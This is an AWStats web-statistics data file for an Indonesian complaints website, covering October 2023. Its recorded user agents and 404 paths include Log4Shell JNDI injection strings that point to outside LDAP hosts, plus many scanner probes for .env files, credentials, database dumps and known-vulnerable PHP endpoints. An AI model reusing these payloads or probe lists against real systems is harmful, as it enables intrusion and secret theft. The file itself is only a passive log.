/home/complianthowden/tmp/awstats/ssl/awstats102023.complaints.howdenindonesia.com.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202310 will be lost/reset.
# Last config file used to build this data file was /home/complianthowden/tmp/awstats/ssl/awstats.complaints.howdenindonesia.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2038                
POS_TIME 2717                
POS_VISITOR 28682               
POS_DAY 57945               
POS_DOMAIN 3648                
POS_LOGIN 4469                
POS_ROBOT 4624                
POS_WORMS 5669                
POS_EMAILSENDER 5800                
POS_EMAILRECEIVER 5943                
POS_SESSION 58833               
POS_SIDER 59044               
POS_FILETYPES 6078                
POS_DOWNLOADS 6957                
POS_OS 7279                
POS_BROWSER 7922                
POS_SCREENSIZE 11916               
POS_UNKNOWNREFERER 11990               
POS_UNKNOWNREFERERBROWSER 13669               
POS_ORIGIN 14685               
POS_SEREFERRALS 14829               
POS_PAGEREFS 15009               
POS_SEARCHWORDS 16234               
POS_KEYWORDS 16386               
POS_MISC 2379                
POS_ERRORS 16445               
POS_CLUSTER 4325                
POS_SIDER_404 16607               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20231101024419 34 4817 3337283278980
FirstTime 20231001010550
LastTime 20231031235040
LastUpdate 20231101190924 34 0 33 0 0
TotalVisits 1145                
TotalUnique 707                 
MonthHostsKnown 0                   
MonthHostsUnknown 750                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
RealPlayerSupport 0 0 0
QuickTimeSupport 0 0 0
FlashSupport 0 0 0
TotalMisc 0 0 0
AddToFavourites 0 254 0
DirectorSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 131 379 17791741 238 299 2873600
1 72 291 10592205 90 148 2568076
2 71 128 3815821 141 161 1130461
3 84 96 3118620 388 431 2501209
4 198 270 9149226 114 154 1654828
5 171 212 7694131 197 216 1691212
6 56 63 2073185 107 166 3509280
7 167 186 6299796 97 136 1886886
8 66 101 3684918 89 148 2443001
9 46 59 1651546 94 111 1006031
10 71 117 4202752 99 136 1918043
11 92 181 6771168 157 201 1578032
12 104 164 5738664 337 359 1599662
13 181 199 6806630 162 199 3100973
14 221 369 14041711 301 319 1785490
15 89 198 7268706 405 420 1677386
16 83 194 7689004 170 204 3100419
17 197 363 13257063 181 222 1857393
18 59 70 2116311 192 219 1863268
19 58 129 4684912 66 135 3006819
20 89 169 5486825 94 160 3042281
21 79 161 6005765 113 160 1941502
22 84 99 3173156 160 180 1087141
23 33 39 1218146 92 159 2730799
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 41
us 1691 2112 71503581
ru 179 208 7546573
in 112 488 19565653
cn 77 297 8896180
id 70 463 23209800
nl 70 99 2603641
ca 70 94 2957901
de 35 35 1279877
fr 35 190 8296462
gb 23 78 2763483
be 20 40 761360
au 17 17 622991
jp 16 21 771345
ch 15 15 560479
mn 9 9 329442
se 8 8 294249
ro 6 6 220058
gr 6 6 219841
ao 6 6 219216
cl 4 4 73285
bg 4 4 147690
il 3 3 110716
fi 3 3 110268
at 3 5 112931
zz 2 4 76136
bd 1 1 36536
no 1 1 36536
iq 1 1 36986
sg 1 1 37203
cw 1 1 36536
eu 2 2 73522
dk 2 2 73072
br 1 1 36536
ar 2 2 73519
es 1 1 37203
mc 0 2 20798
ph 1 1 36536
lv 1 1 36986
ie 1 1 36536
it 1 3 349385
ba 1 1 36986
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 22
Googlebot/ 237 9027251 20231031222207 18
no_user_agent 142 4544855 20231031113546 9
Go\-http\-client/ 118 4127695 20231031175527 0
AhrefsBot/ 90 1913981 20231031152824 42
curl 85 2612903 20231029164305 1
Applebot/ 72 2798454 20231029230219 3
unknown 52 1248 20231031225746 52
facebookexternalhit/ 46 1382776 20231003202330 0
bingbot/ 31 418571 20231031002929 19
(firefox/)([0-9]\.|[0-1][0]\.) 24 805562 20231030102624 0
[\s_+:,\.\;\/\\-]bot 19 407038 20231031035119 8
BLEXBot/ 8 185858 20231019211236 3
bot[\s_+:,\.\;\/\\-] 8 148230 20231024153750 3
CFNetwork 6 186952 20231030003948 0
SemrushBot/ 2 37010 20231006182930 1
Googlebot\-Image/ 2 3064 20231016183132 0
survey 2 73972 20231004105408 0
Screaming[\x20]Frog[\x20]SEO[\x20]Spider/ 2 37010 20231002141338 1
Barkrowler 2 37010 20231028082449 1
MJ12bot/ 2 37010 20231003235903 1
link 1 36536 20231006045139 0
AdsBot\-Google[\x20]\( 1 36536 20231004052408 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 45
dll 1 36756 0 0
php 627 23051404 0 0
txt 21 774498 0 0
cc 19 698307 0 0
orig 2 73518 0 0
jpg 1 36762 0 0
png 437 1337730 0 0
env 2 74748 0 0
rb 2 74755 0 0
shtml 65 2392800 0 0
yaml 6 220536 0 0
env_1 8 293976 0 0
ppk 3 110254 0 0
save 6 220950 0 0
html 1295 46590244 0 0
php5 12 441006 0 0
exe 1 36748 0 0
css 409 20973006 0 0
jsp 2 73500 0 0
dev 8 293992 0 0
prod 5 184200 0 0
bak 29 1070740 0 0
old 16 588473 0 0
map 13 2889991 0 0
pdf 37 9586510 0 0
bin 1 36746 0 0
axd 4 147084 0 0
htm 1 36759 0 0
dist 4 147000 0 0
remote 1 37198 0 0
local 3 111332 0 0
py 13 478371 0 0
woff 1 98024 0 0
chm 1 36747 0 0
php3 6 220518 0 0
www 8 293992 0 0
php4 6 220518 0 0
swp 1 37209 0 0
js 829 26525891 0 0
backup 15 551334 0 0
sql 16 588016 0 0
xsd 1 17049 0 0
woff2 38 2932080 0 0
Unknown 259 9533262 0 0
ini 2 73500 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 11
/resources/assets/pdf/TOBA.pdf 38 7 9586510
/phpinfo.txt 6 0 220512
/wp-config.txt 6 0 220524
/sitemap.txt 4 0 148808
/README.txt 3 0 111603
/CHANGELOG.txt 3 0 111612
/sitemap.xml.gz 2 0 74410
/ads.txt 2 0 73496
/8.bin 1 0 36746
/chklst.txt 1 0 36751
/readme.txt 1 0 37376
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 40
macosx 172 26
androidmarshmallow 4 4
winphone 1 1
androidnougat 744 720
linuxubuntu 29 29
ios_iphone 86 9
macosx10 63 63
macosx11 64 64
macosx7 13 6
Unknown 639 448
macosx6 16 4
androidgingerbread 6 6
winnt 6 2
linux 372 226
androidcupcake 1 1
symbian 1 1
bsdnetbsd 2 2
winxp 24 24
win7 101 44
ios_ipad 3 3
macosx9 4 4
win8 10 10
win10 1336 586
win8.1 14 12
os/2 1 1
win2003 15 3
macosx14 4 4
win2000 5 5
android 6 6
bsdopenbsd 4 4
winvista 3 3
androidpie 3 3
winunknown 2 1
winlong 3 3
android10 55 5
macosx15 421 158
androidlollipop 1 1
macosx13 4 4
macosx8 1 1
macosx12 5 5
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 195
chrome90.0.1298 1 0
firefox79.0 16 9
chrome92.0.4515.159 24 24
chrome88.0.1285 1 1
chrome66.0.3359.181 1 0
chrome88.0.4240.193 2 2
chrome91.0.1563 1 0
chrome60.0.3112.107 744 720
msie11 5 4
firefox58.0.1 1 1
chrome98.0.4758.132 1 1
chrome6.0.462.0 2 2
chrome54.0.2840.98 5 5
chrome81.0.4044.129 105 105
chrome86.0.4 7 6
chrome79.0.3945.130 49 31
chrome5.0.375.99 13 1
chrome91.0.2509 1 0
nokia 1 1
chrome52.0.2743.116 2 2
safari4.0.4 2 2
firefox77.0 50 50
chrome94.0.4606.61 10 10
chrome60.0.3112.113 154 150
chrome99.0.4883.82 1 1
chrome76.0.1506 1 0
firefox14.0.1 2 2
firefox88.0 2 2
chrome118.0.0.0 79 9
firefox115.0 16 16
chrome12.0.742.112 2 1
chrome83.0.4103.61 83 23
chrome113.0.0.0 4 2
firefox30.0 1 1
lg\- 6 6
chrome109.0.0.0 8 8
safari16.6 284 37
chrome4.0.206.1 13 1
chrome74.0.3729.131 5 5
chrome107.0.0.0 8 6
chrome68.0.3440.106 1 1
chrome104.0.0.0 2 2
chrome70.0.3538.77 4 4
safari3.0.2 2 2
chrome116.0.0.0 55 4
chrome59.0.1366 1 0
chrome76.0.3809.89 1 1
msie10.0 1 1
safari16.4 2 2
firefox109.0 9 9
firefox21.0 1 1
firefox108.0 5 5
chrome101.0.4951.41 3 3
safari10.1.0.2342 1 1
firefox72.0 5 5
chrome94.0.4606.71 1 1
netscape5.0 115 115
chrome103.0.5060.114 4 4
chrome50.0.3042.80 1 1
opera85.0.4341.75 1 1
msie6.0 2 2
chrome85.0.4183.102 53 5
firefox63.0 1 1
chrome55.0.2919.83 2 2
firefox114.0 3 3
chrome55.0.2883.87 4 4
chrome110.0.0.0 9 9
firefox33.0 1 1
chrome84.0.4147.89 1 1
firefox107.0 4 4
chrome78.0.3904.108 32 32
firefox52.0 3 3
firefox102.0 8 8
chrome35.0.2309.372 3 3
chrome27.0.1453.116 2 2
chrome73.0.1302 1 0
chrome34.0.1847.76 1 1
firefox45.0 1 1
chrome41.0.2227.0 1 1
chrome102.0.0.0 7 6
firebird 2 2
firefox65.0 4 2
opera89.0.4447.51 1 1
chrome66.0.3359.117 5 5
msie7.0 2 2
chrome100.0.4896.75 1 1
firefox92.0 87 9
safari5.0.2 1 1
chrome68.0.2282 1 1
firefox111.0 1 1
chrome52.0.2762.73 2 2
chrome79.0 2 2
sonyericsson 2 2
chrome49.0.2623.112 39 10
chrome13.0.764.0 1 1
chrome41.0.2226.0 3 3
safari 85 8
firefox112.0 2 2
firefox69.2 2 2
opera11.10 1 1
chrome60.0.3072.109 1 1
safari16.0 2 2
chrome55.0.3018.101 1 1
chrome74.0.3729.169 1 1
chrome112.0.0.0 12 8
chrome36.0.1985.67 3 3
chrome35.0.1916.47 1 1
firefox70.0 1 1
chrome83.0.4103.116 8 8
safari15.5 1 1
safari15.6.1 2 2
msie8.0 2 2
chrome37.0.2049.0 4 3
chrome51.0.3050.64 1 1
firefox101.0 17 13
mozilla 305 157
chrome56.0.2924.87 41 41
chrome77.0.1618 1 1
chrome100.0.4896.136 1 1
firefox110.0 56 56
safari5.1 2 2
chrome99.0.4844.51 3 3
chrome91.0.4472.124 1 1
firefox70 1 1
chrome76.0.3809.132 4 4
chrome36.0.1944.0 1 1
firefox64.0 1 1
chrome89.0.4389.114 7 7
firefox118.0 61 20
chrome63.0.3239.132 31 3
chrome59.0.1859 1 1
chrome35.0.3319.102 1 1
chrome35.0.2117.157 2 2
chrome92.0.1930 1 0
firefox47.0 19 19
chrome28.0.1467.0 1 1
chrome17.0.963.56 13 6
firefox49.0 2 2
chrome52.0.3033.56 1 1
chrome66.0.161 1 0
safari5.1.7 1 1
chrome90.0.4430.72 1 1
chrome40.0.2214.93 1 1
chrome78.0.3770.100 8 8
chrome30.0.1599.17 1 1
msie11.0 8 8
android 1 1
chrome59.0.2044 1 0
chrome44.0.2403.155 3 3
chrome111.0.0.0 4 4
chrome108.0.0.0 34 34
chrome96.0.4664.110 24 12
chrome101.0.4951.64 1 1
firefox31.0 3 3
chrome103.0.0.0 4 4
chrome94.0.4606.81 5 5
chrome141.0.8919.117 1 1
chrome52.0.5770.98 2 2
chrome4.0.222.12 2 2
chrome88.0.4324.190 53 29
firefox103.0 2 2
chrome81.0.4044.92 4 4
safari8.0 1 1
chrome117.0.0.0 577 76
chrome36.0.1985.125 2 2
edge12 12 12
chrome114.0.0.0 18 11
chrome50.0.2661.102 4 4
chrome34.0.1866.237 2 2
chrome106.0.0.0 1 1
chrome60.0.3112.90 9 9
chrome98.0.1461 1 0
chrome39.0.2171.95 59 59
chrome102.0.5005.63 11 2
chrome100.0.4896.127 1 1
chrome64.0.912 1 0
msie9.0 12 12
chrome41.0.2225.0 3 3
chrome37.0.2062.124 1 1
chrome98.0.4758.102 9 9
edge44 2 2
safari15.4 7 7
firefox73.0 16 8
firefox95.0 12 12
chrome41.0.2228.0 1 1
chrome91.0.4472.77 1 1
Unknown 223 180
chrome84.0.4147.105 2 2
chrome12.0.712.0 1 1
chrome49.0.2656.18 1 1
firefox62.0 3 3
opera94.0.0.0 2 2
chrome87.0.4280.88 157 12
chrome77.0.307 1 0
firefox53.0 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 27
HTTP_Banner_Detection_(https://security.ipip.net) 20231002162649
${jndi:ldap://196.21.83.146:1389/Exploit} 20231004121557
'Mozilla/5.0_project_patchwatch' 20231011212017
Chrome 20231031191434
python-requests/2.27.1 20231018224521
Mozilla/5.0_(l9scan/2.0.6393e25373e2130313e24333;__https://leakix.net) 20231024124546
abuse.xmco.fr 20231008075320
nvdorz 20231008074651
Mozilla/5.0_(BB10;_Touch)_AppleWebKit/537.10__(KHTML,_like_Gecko)_Version/10.1.0.2342_Mobile_Safari/537.10_ 20231024201429
fasthttp 20231023023735
SonyEricssonW995/R1EA_Profile/MIDP-2.1_Configuration/CLDC-1.1_UNTRUSTED/1.0 20231031043452
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20231030125220
SonyEricssonT100/R101 20231018080522
Mozilla/5.0_(compatible;_Odin;_https://docs.getodin.com/) 20231031175526
Mozila/5.0 20231029054526
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231031140637
Mozilla/5.0_zgrab/0.x 20231031235040
TinyTestBot 20231003064943
python-requests/2.25.1 20231017153300
python-requests/2.31.0 20231031215654
https://gdnplus.com:Gather_Analyze_Provide. 20231026132845
Mozilla/5.0 20231029073513
Cpanel-HTTP-Client/1.0 20231024180022
python-requests/2.28.1 20231022153310
python-requests/2.22.0 20231016123504
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20231031221558
python-requests/2.26.0 20231031191059
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 18
python-requests/2.25.1 20231017153300
TinyTestBot 20231003064943
${jndi:ldap://196.21.83.146:1389/Exploit} 20231004121557
python-requests/2.31.0 20231031215654
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231031140637
Mozila/5.0 20231029054526
HTTP_Banner_Detection_(https://security.ipip.net) 20231002162649
python-requests/2.22.0 20231016123504
Cpanel-HTTP-Client/1.0 20231024180022
python-requests/2.28.1 20231022153310
fasthttp 20231023023735
python-requests/2.26.0 20231031191059
Peach/1.01_(Ubuntu_8.04_LTS;_U;_en) 20231030003946
Chrome 20231031191434
https://gdnplus.com:Gather_Analyze_Provide. 20231026132845
python-requests/2.27.1 20231018224521
nvdorz 20231008074651
abuse.xmco.fr 20231008075320
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 2174 2629
From1 1 1
From2 0 6
From3 256 424
From4 71 1184
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 2
www_bing_com 0 5
www_google_com 0 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 29
http://34.101.75.96 148 148
http://34.101.75.96:80 28 28
https://www.howdengroup.com 15 16
http://34.101.75.96/showLogin.cc 11 11
https://mudahlindungi.com 6 6
https://34.101.75.96/axis2/ 4 4
https://facilities.howdenindonesia.com 4 4
https://34.101.75.96/axis2-admin/ 4 4
https://34.101.75.96/webfig/ 4 4
https://indonesiav3.hyperion.acsitefactory.com 3 3
https://l.workplace.com 3 3
https://34.101.75.96/c/ 3 3
http://34.101.75.96/sitemap.xml 3 3
https://wenvpn.com 3 3
http://34.101.75.96/Telerik.Web.UI.WebResource.axd 2 2
https://34.101.75.96/solr/ 2 2
https://uat.mudahlindungi.com 2 2
https://34.101.75.96/owa/ 2 2
https://34.101.75.96/solr/#/ 2 2
http://34.101.75.96/sugar_version.json 2 2
https://easyseo.s-nac.com 1 1
https://34.101.75.96:443/HNAP1/ 1 1
http://34.101.75.96:80/script 1 1
http://34.101.75.96/index.jsp 1 1
https://34.101.75.96/resources/assets/font-awesome/css/font-awesome.css 1 1
https://34.101.75.96/resources/assets/css/plugins/iCheck/custom.css 0 1
https://34.101.75.96 0 163
http://34.101.75.96/favicon-32x32.png 0 2
http://code.jquery.com 0 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 6
405 242 199650
400 10 259529
500 6 0
301 1440 327696
404 1894 3900794
403 235 8649993
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 376
/user/.env.staging 2 -
/_ignition/health-check 1 -
/config/.env 3 -
/login/.env 1 -
/administrator/manifests/files/joomla.xml 3 -
/laravel/sendgrid.env 1 -
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 http://34.101.75.96:80/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/v2/_catalog 2 -
/deployment/.env 1 -
/e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php 1 -
/shared/sendgrid.env 1 -
/site/.env 5 -
//sito/wp-includes/wlwmanifest.xml 3 -
/private/.env 8 -
/web/.env 6 -
/ThinClient/WTM/public/index.html 1 -
/document/.env 1 -
/script/.env 7 -
/download/.env 4 -
/__tests__/test-become/.env 2 -
/remote/login 12 -
/backend/.env 8 -
/AHT/AHT_UI/public/index.html 2 -
/base/.env 5 -
/admin-app/.env 7 -
/helpers/utility.js 7 -
/s/6393e25373e2130313e24333/_/ 2 -
/ztp/cgi-bin/handler 1 -
/personal/sendgrid.env 1 -
/local/.env 16 -
/ADMIN/.env 1 -
//complaints.howdenindonesia.com/resources/assets/js/inspinia.js 1 -
/src/sendgrid.env 1 -
/wp-content/plugins 2 -
/enviroments/.env.production 7 -
/Gmail/UnityPlayer.txt 1 -
/resources/.env 2 -
/assets/app.config.json 1 -
/api/attach 2 -
/tmp/.env 2 -
/cgi-bin/.env 4 -
/rest/.env 8 -
/auth/.env 1 -
/development/sendgrid.env 1 -
//34.101.75.96/resources/assets/js/plugins/jquery-cookie/jquery.cookie.js 2 -
/new/login 1 -
/shop/.env 5 -
/download/file.ext 2 -
/apache/i.php 6 -
/.ssh/sftp-config.json 1 -
/webdav/phpinfo 1 -
/beta/.env 3 -
/vendor/phpunit/phpunit/src/Util/PHP/xpwn.php 1 -
//2019/wp-includes/wlwmanifest.xml 5 -
/personal/.env 1 -
/main/.env 2 -
/conf/.env 5 -
/prod/.env 6 -
//web/wp-includes/wlwmanifest.xml 6 -
/settings/settings.py 1 -
/docker/.env 9 -
/remote/logincheck 1 -
/content/.env 2 -
//test/wp-includes/wlwmanifest.xml 6 -
/includes/.env 2 -
/dniapi/userInfos 1 -
/.docker/config.json 1 -
/webdav/phpinfo.php 1 -
/admin/config.php 4 -
/wp-content/themes/twentytwentyone/inc/block-css.php 1 -
/blog/.env 7 -
/dashboard/.env 5 -
//34.101.75.96/resources/assets/js/popper.min.js 2 -
/wp-admin/.env 5 -
/engine/sendgrid.env 1 -
/.well-known/security.txt 15 -
/app/config/parameters.yml 1 -
/c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab 2 -
/dashboard/test.php 6 -
/document/sendgrid.env 1 -
/phpinfo/info.php 6 -
/app/sendgrid.env 1 -
/.vscode/sftp.json 4 -
/symfony/_profiler/phpinfo 7 -
/server/sendgrid.env 1 -
/config/environment.rb 1 -
/core/sendgrid.env 1 -
/${jndi:ldap://93.95.216.134:1389/Exploit} 3 -
/cluster/list.query 2 http://34.101.75.96/cluster/list.query
/wp-admin/install.php 3 -
/_profiler/phpinfo/info.php 6 -
/scripts/WPnBr.dll 3 -
/application/.env 13 -
/resources/uploads 2 -
/project/sendgrid.env 1 -
/cf_scripts/scripts/ajax/ckeditor/ckeditor.js 7 http://34.101.75.96/cf_scripts/scripts/ajax/ckeditor/ckeditor.js
/cli/sendgrid.env 1 -
//complaints.howdenindonesia.com/resources/assets/js/plugins/select2/select2.full.min.js 1 -
/Visu/ens/events 2 -
/Portal/Portal.mwsl 2 -
/webui/logoutconfirm.html 9 http://34.101.75.96/webui/logoutconfirm.html
/config/sendgrid.env 1 -
/34.101.75.96:443/.env 235 -
/api/session/properties 4 -
/CSS/Miniweb.css 3 -
//www.google.com/recaptcha/api.js 3 -
/shared/.env 12 -
/dashboard/info.php 6 -
/newsite/.env 2 -
/phpinfo/phpinfo.php 8 -
/docs/cplugError.html 3 -
//2020/wp-includes/wlwmanifest.xml 4 -
//wp1/wp-includes/wlwmanifest.xml 6 -
/dev/.env 1 -
/Electron/download/windows/%5CProgram%20Files%5C3CX%20Phone%20System%5CData%5CDB%5Cbase%5C16384%5C16393 6 -
/frontend/sendgrid.env 1 -
/redmine/config/environment.rb 1 -
/api/.env 24 -
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 http://34.101.75.96:80/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/.git/credentials 2 -
/dana-cached/hc/HostCheckerInstaller.osx 3 -
//complaints.howdenindonesia.com/resources/assets/js/plugins/pace/pace.min.js 1 -
/laravel-filemanager/download 1 -
/clientscript/vbulletin_read_marker.js 3 -
//xmlrpc.php 6 -
/backend/sendgrid.env 1 -
/actuator/health 9 -
/static/historypage.js 4 -
/config/databases.yml 1 -
/admin/phpinfo.php 8 -
/_profiler/phpinfo/phpinfo.php 6 -
/private/sendgrid.env 1 -
/back/sendgrid.env 1 -
/Nmap/folder/check1697482622 1 -
/Public/home/js/check.js 4 http://34.101.75.96/Public/home/js/check.js
/autodiscover/autodiscover.json 27 -
/uploads/.env 4 -
//website/wp-includes/wlwmanifest.xml 3 -
/frontend_dev.php/$ 5 -
//34.101.75.96/resources/assets/js/plugins/toastr/toastr.min.js 2 -
/laravel/.env 19 -
/icons/.env 2 -
//34.101.75.96/resources/assets/js/plugins/slimscroll/jquery.slimscroll.min.js 2 -
/jasperserver-pro/login.html 2 -
//wp/wp-includes/wlwmanifest.xml 6 -
/new/.env 6 -
/dependencies/.env 1 -
/vue/sendgrid.env 1 -
/vendor/.env 32 -
/portal/.env 2 -
/.svn/entries 1 -
/project/.env 1 -
/app_dev.php/_profiler/open 1 -
/admin/sendgrid.env 1 -
/alps/profile 1 -
/api/sonicos/tfa 3 -
//complaints.howdenindonesia.com/resources/assets/js/plugins/metisMenu/jquery.metisMenu.js 1 -
/static/admin/javascript/hetong.js 6 -
/clientscript/vbulletin_global.js 3 -
//.env 1 -
/protected/sendgrid.env 1 -
/docker/sendgrid.env 1 -
/OTApp/.env 1 -
/config/default.json 1 -
/public/client/planinfo 1 -
/wp-includes/wlwmanifest.xml 3 -
/.git/HEAD 6 -
/php52/phpinfo.php 6 -
/apps/.env 15 -
/wp-includes/css/buttons.css 1 http://complaints.howdenindonesia.com/wp-includes/css/buttons.css
/engine/.env 1 -
/includes/bootstrap.inc 3 -
/assets/credentials.json 1 -
/server/.env 1 -
/API/sendgrid.env 1 -
/webdav/info.php 1 -
/horizon/api/stats 1 -
/storage/.env 3 -
//complaints.howdenindonesia.com/resources/assets/js/plugins/sweetalert/sweetalert.min.js 1 -
/DE/Service_II/Abonnements/abonnements_node.html 2 -
/admin/info.php 6 -
//complaints.howdenindonesia.com/resources/assets/js/plugins/toastr/toastr.min.js 1 -
/dup-installer/main.installer.php 1 http://complaints.howdenindonesia.com/dup-installer/main.installer.php
/protected/.env 6 -
/wh/glass.php 1 -
/wp-content/uploads 2 -
/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index 1 -
/resources/assets/js/popper.min.js.map 7 https://complaints.howdenindonesia.com/
//wordpress/wp-includes/wlwmanifest.xml 6 -
/lib/.env 2 -
/frontend/.env 3 -
/.c9/metadata/environment/.env 9 -
/credentials/config.json 1 -
/database/.env 4 -
//media/wp-includes/wlwmanifest.xml 1 -
/public/.env 9 -
/api/v0/id 1 -
/tokenlite_app/.env 2 -
/env/.env 2 -
/Display/chan/IB61I7MYA 1 -
//complaints.howdenindonesia.com/resources/assets/js/bootstrap.js 1 -
/system/sendgrid.env 1 -
/assets/.env 2 -
/.docker/.env 11 -
/apache/info.php 6 -
/src/.env 6 -
/evox/about 1 -
/framework/.env 3 -
/product/.env.staging 2 -
/phpmyadmin/index.php 1 http://34.101.75.96:80/phpmyadmin/index.php
/phpsysinfo/phpinfo.php 6 -
/laravel/core/.env 1 -
/sites/.env 2 -
/telescope/requests 4 -
/sites/default/files 2 -
/phpsysinfo/phpsysinfo.php 6 -
/files/.env 2 -
/info/phpinfo.php 1 -
/master/.env 1 -
/Res/login.html 2 -
/dashboard/phpinfo.php 8 -
/old/.env 6 -
/apps/api/sendgrid.env 1 -
/deployment/sendgrid.env 1 -
/crm/.env 8 -
/owa/auth.owa 1 -
/settings/.env 2 -
/dana-na/auth/url_default/welcome.cgi 1 -
/apps/sendgrid.env 1 -
/cp/sendgrid.env 1 -
/laravel-artisan/sendgrid.env 1 -
/owa/auth/logon.aspx 21 -
/framework/sendgrid.env 1 -
/wp-content/uploads/dump.sql 1 -
/vendor/phpunit/phpunit/src/Util/PHP/kill.php 7 -
